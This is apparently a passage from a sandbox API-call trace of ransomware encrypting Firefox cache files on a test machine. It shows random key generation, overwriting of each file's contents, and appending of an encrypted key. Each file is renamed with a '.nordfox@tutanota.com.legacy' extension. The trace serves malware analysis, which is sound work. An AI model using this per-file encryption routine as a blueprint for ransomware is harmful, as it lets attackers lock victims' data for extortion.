dwBufLen=0x100 | out: pbData=0x30e71a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.110] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e71a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e71a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.110] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.110] CloseHandle (hObject=0x1b80) returned 1 [0185.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e71a0 | out: hHeap=0x520000) returned 1 [0185.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0185.111] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b34ef52333f13c92b035e4da7e00ee58a80645f0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b34ef52333f13c92b035e4da7e00ee58a80645f0.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7f08 | out: hHeap=0x520000) returned 1 [0185.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8958 | out: hHeap=0x520000) returned 1 [0185.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0185.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8a60 [0185.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8a60 | out: pbBuffer=0x30e8a60) returned 1 [0185.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.116] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088", dwFileAttributes=0x80) returned 1 [0185.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8328 [0185.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8328 | out: hHeap=0x520000) returned 1 [0185.116] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b32c5865a88f2cd8fdbf2030bcb0763b059a1088"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.117] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=33450) returned 1 [0185.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x82aa) returned 0x2eeb018 [0185.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x82aa) returned 0x2ef32d0 [0185.117] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x82aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x82aa, lpOverlapped=0x0) returned 1 [0185.124] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-33450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.124] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef32d0*, nNumberOfBytesToWrite=0x82aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef32d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x82aa, lpOverlapped=0x0) returned 1 [0185.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ef32d0 | out: hHeap=0x520000) returned 1 [0185.125] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x82aa [0185.125] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.125] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.125] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8a60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8a60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.125] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.125] CloseHandle (hObject=0x1b80) returned 1 [0185.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8a60 | out: hHeap=0x520000) returned 1 [0185.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.126] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b32c5865a88f2cd8fdbf2030bcb0763b059a1088"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b32c5865a88f2cd8fdbf2030bcb0763b059a1088.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e75c0 | out: hHeap=0x520000) returned 1 [0185.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7f08 [0185.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0185.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e79e0 | out: pbBuffer=0x30e79e0) returned 1 [0185.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.130] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9", dwFileAttributes=0x80) returned 1 [0185.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7098 [0185.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7098 | out: hHeap=0x520000) returned 1 [0185.131] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b30bb2f41b97ead59e6857adbbec88367c164ea9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.131] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3834) returned 1 [0185.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xefa) returned 0x30ef880 [0185.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xefa) returned 0x30f0788 [0185.131] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0185.139] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.140] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0788*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0185.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0788 | out: hHeap=0x520000) returned 1 [0185.140] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefa [0185.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.140] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e79e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e79e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.140] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.140] CloseHandle (hObject=0x1b80) returned 1 [0185.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.141] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b30bb2f41b97ead59e6857adbbec88367c164ea9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b30bb2f41b97ead59e6857adbbec88367c164ea9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7f08 | out: hHeap=0x520000) returned 1 [0185.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e9090 | out: hHeap=0x520000) returned 1 [0185.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0185.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0185.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e79e0 | out: pbBuffer=0x30e79e0) returned 1 [0185.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.143] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1", dwFileAttributes=0x80) returned 1 [0185.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7098 [0185.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7098 | out: hHeap=0x520000) returned 1 [0185.143] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b2c9d611fee55171f4dc8fd4fc38e543ce2887c1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.144] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4350) returned 1 [0185.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fe) returned 0x30ef880 [0185.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fe) returned 0x30f0988 [0185.144] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x10fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x10fe, lpOverlapped=0x0) returned 1 [0185.145] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.145] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0988*, nNumberOfBytesToWrite=0x10fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10fe, lpOverlapped=0x0) returned 1 [0185.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0988 | out: hHeap=0x520000) returned 1 [0185.145] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10fe [0185.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.146] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e79e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e79e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.146] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.146] CloseHandle (hObject=0x1b80) returned 1 [0185.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.146] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b2c9d611fee55171f4dc8fd4fc38e543ce2887c1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b2c9d611fee55171f4dc8fd4fc38e543ce2887c1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7cf8 | out: hHeap=0x520000) returned 1 [0185.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7e00 | out: hHeap=0x520000) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9090 [0185.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8a60 [0185.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0185.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8a60 | out: pbBuffer=0x30e8a60) returned 1 [0185.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.149] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4", dwFileAttributes=0x80) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8328 [0185.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8328 | out: hHeap=0x520000) returned 1 [0185.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b10ce1d7881cc749600549e34b9fadbc54fb9fb4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.150] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2962) returned 1 [0185.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb92) returned 0x30ef880 [0185.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb92) returned 0x30f0420 [0185.150] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xb92, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xb92, lpOverlapped=0x0) returned 1 [0185.151] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.152] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0420*, nNumberOfBytesToWrite=0xb92, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb92, lpOverlapped=0x0) returned 1 [0185.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0420 | out: hHeap=0x520000) returned 1 [0185.152] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb92 [0185.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.152] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8a60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8a60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.152] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.153] CloseHandle (hObject=0x1b80) returned 1 [0185.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8a60 | out: hHeap=0x520000) returned 1 [0185.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0185.153] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b10ce1d7881cc749600549e34b9fadbc54fb9fb4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b10ce1d7881cc749600549e34b9fadbc54fb9fb4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e9090 | out: hHeap=0x520000) returned 1 [0185.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8010 | out: hHeap=0x520000) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7f08 [0185.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7098 [0185.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7098 | out: pbBuffer=0x30e7098) returned 1 [0185.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.155] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1", dwFileAttributes=0x80) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8010 [0185.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8010 | out: hHeap=0x520000) returned 1 [0185.156] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b0bb8e7a612ce55d154e5de8d2ff82496bd452c1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.156] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4457) returned 1 [0185.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1169) returned 0x30ef880 [0185.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1169) returned 0x30f09f8 [0185.156] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1169, lpNumberOfBytesRead=0x2e1f9bc, 